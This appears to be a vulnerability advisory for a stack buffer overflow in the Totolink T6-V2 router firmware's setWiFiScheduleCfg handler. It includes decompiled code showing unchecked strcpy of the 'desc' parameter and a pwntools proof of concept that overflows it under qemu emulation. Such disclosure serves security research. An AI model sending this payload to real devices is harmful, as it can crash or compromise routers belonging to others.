

main IoT-vuln / Totolink / T6-v2 / 4.setWiFiScheduleCfg /



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## Overview

- The device's official website: [http://www.totolink.cn/home/menu/detail.html?menu\\_listtpl=products&id=16&ids=33](http://www.totolink.cn/home/menu/detail.html?menu_listtpl=products&id=16&ids=33)
- Firmware download website: [http://www.totolink.cn/home/menu/detail.html?menu\\_listtpl=download&id=16&ids=36](http://www.totolink.cn/home/menu/detail.html?menu_listtpl=download&id=16&ids=36)

## Affected version

T6-V2 V4.1.9cu.5179\_B20201015

## Vulnerability details

The vulnerability exists in the router's WEB component. `/web_cste/cgi-bin/cstecgi.cgi FUN_00413be4` (at address `0x413be4`) gets the JSON parameter `desc`, but without checking its length, copies it directly to local variables in the stack, causing stack overflow:

```
43  local_48 = 0;
44  local_44 = 0;
45  local_40 = 0;
46  local_3c = 0;
47  local_38 = 0;
48  local_34 = 0;
49  pcVar1 = (char *)websGetVar(param_1,"addEffect","");
50  iVar2 = atoi(pcVar1);
51  pcVar1 = (char *)websGetVar(param_1,"enable","");
52  local_30[0] = atoi(pcVar1);
53  FUN_00422298("wlan1");
54  apmib_set(0x1f7,local_30);
55  FUN_00422298("wlan0");
56  apmib_set(0x1f7,local_30);
57  if (local_30[0] == 1) {
58      pcVar1 = (char *)websGetVar(param_1,"week","");
59      iVar3 = atoi(pcVar1);
60      pcVar1 = (char *)websGetVar(param_1,"sHour","");
61      iVar4 = atoi(pcVar1);
62      pcVar1 = (char *)websGetVar(param_1,"sMinute","");
63      iVar5 = atoi(pcVar1);
64      pcVar1 = (char *)websGetVar(param_1,"eHour","");
65      iVar6 = atoi(pcVar1);
66      pcVar1 = (char *)websGetVar(param_1,"eMinute","");
67      iVar7 = atoi(pcVar1);
68      pcVar1 = (char *)websGetVar(param_1,"desc","");
69      if (iVar2 == 1) {
70          local_72 = (short)iVar5 + (short)iVar4 * 0x3c;
71          local_70 = (short)iVar7 + (short)iVar6 * 0x3c;
72          local_6e = (short)iVar3;
73          strcpy(acStack136,pcVar1);
74          apmib_set(0x201fb,acStack136);
75          apmib_set(0x101fa,acStack136);
76      }
```

```

77     else {
78         if (iVar2 == 2) {
79             __nptr = (char *)websGetVar(param_1,&DAT_00426418,"0");
80             local_6c = atoi(__nptr);
81             local_68 = 0;
82             local_64 = 0;
83             local_60 = 0;
84             local_5c = 0;
85             local_58 = 0;
86             local_54 = 0;
87             local_50 = 0;
88             local_4c = 0;
89             local_48 = 0;
90             local_44 = 0;
91             local_40 = 0;
92             local_3c = 0;
93             local_38 = 0;
94             local_6c = local_6c & 0xff;
95             apmib_get(0x81f9,&local_6c);
96             local_50 = local_6c;
97             local_4c = local_68;
98             local_48 = local_64;
99             local_44 = local_60;
100            local_40 = local_5c;
101            local_3c = local_58 & 0xffff | (uint)(ushort)((short)iVar5 + (short)iVar4 * 0x3c) << 0x10;
102            local_38 = CONCAT22((short)iVar3,(short)iVar7 + (short)iVar6 * 0x3c);
103            strcpy((char *)&local_50,pcVar1);
104            apmib_set(0x1201fb,&local_6c);
105        }
106    }
107 }

```

## PoC

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```

from pwn import *
import json

data = {
    "topicurl": "setting/setWiFiScheduleCfg",
    "addEffect": "1",
    "enable": "1",
    "desc": "A"*0x400,
    "week": "1",
    "sHour": "1",
    "sMinute": "1",
    "eHour": "1",
    "eMinute": "1",
}

data = json.dumps(data)
print(data)

argv = [
    "qemu-mipsel-static",
    "-L", "./root/",
    "-E", "CONTENT_LENGTH={}".format(len(data)),
    "-E", "REMOTE_ADDR=192.168.2.1",

```

```
        "/cstecgi.cgi"  
    ]  
  
    a = process(argv=argv)  
    a.sendline(data.encode())  
  
    a.interactive()
```